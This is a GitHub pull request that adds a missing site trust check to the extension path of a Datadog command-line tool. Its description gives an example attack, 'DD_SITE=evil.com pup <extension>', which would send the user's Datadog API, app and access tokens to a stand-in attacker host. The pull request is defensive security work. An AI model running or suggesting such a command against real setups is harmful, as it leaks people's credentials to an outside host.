fix(extensions): add trust gate to extension fast-path#601
Open
srosenthal-dd wants to merge 3 commits into
Open
fix(extensions): add trust gate to extension fast-path#601srosenthal-dd wants to merge 3 commits into
srosenthal-dd wants to merge 3 commits into
Conversation
The extension dispatch block in main_inner exited early -- before the central trust gate -- so DD_SITE=evil.com pup <extension> would ship DD_API_KEY/DD_APP_KEY/DD_ACCESS_TOKEN to a non-Datadog host with no prompt. Built-in commands were not affected because they always go through the central gate. Fix: call ensure_site_trusted in the extension fast-path, after apply_to resolves the effective site, and before exec_extension injects credentials into the subprocess environment. Also thread --trust-site through PreParsedGlobals so the flag works correctly on extension invocations.
This comment has been minimized.
This comment has been minimized.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
follow-up to #589
Summary
The extension dispatch block in
main_innerexits before the central trust gate, soDD_SITE=evil.com pup <extension>silently shipsDD_API_KEY,DD_APP_KEY, andDD_ACCESS_TOKENto a non-Datadog host. Built-in commands were not affected -- they always reach the central gate.Changes:
ensure_site_trustedin the extension fast-path, afterapply_toresolves the effective site and beforeexec_extensioninjects credentials into the subprocess environment--trust-sitethroughPreParsedGlobalsso the flag works consistently on extension invocations (same opt-in escape hatch as built-in commands)--trust-siteparsing inparse_extension_args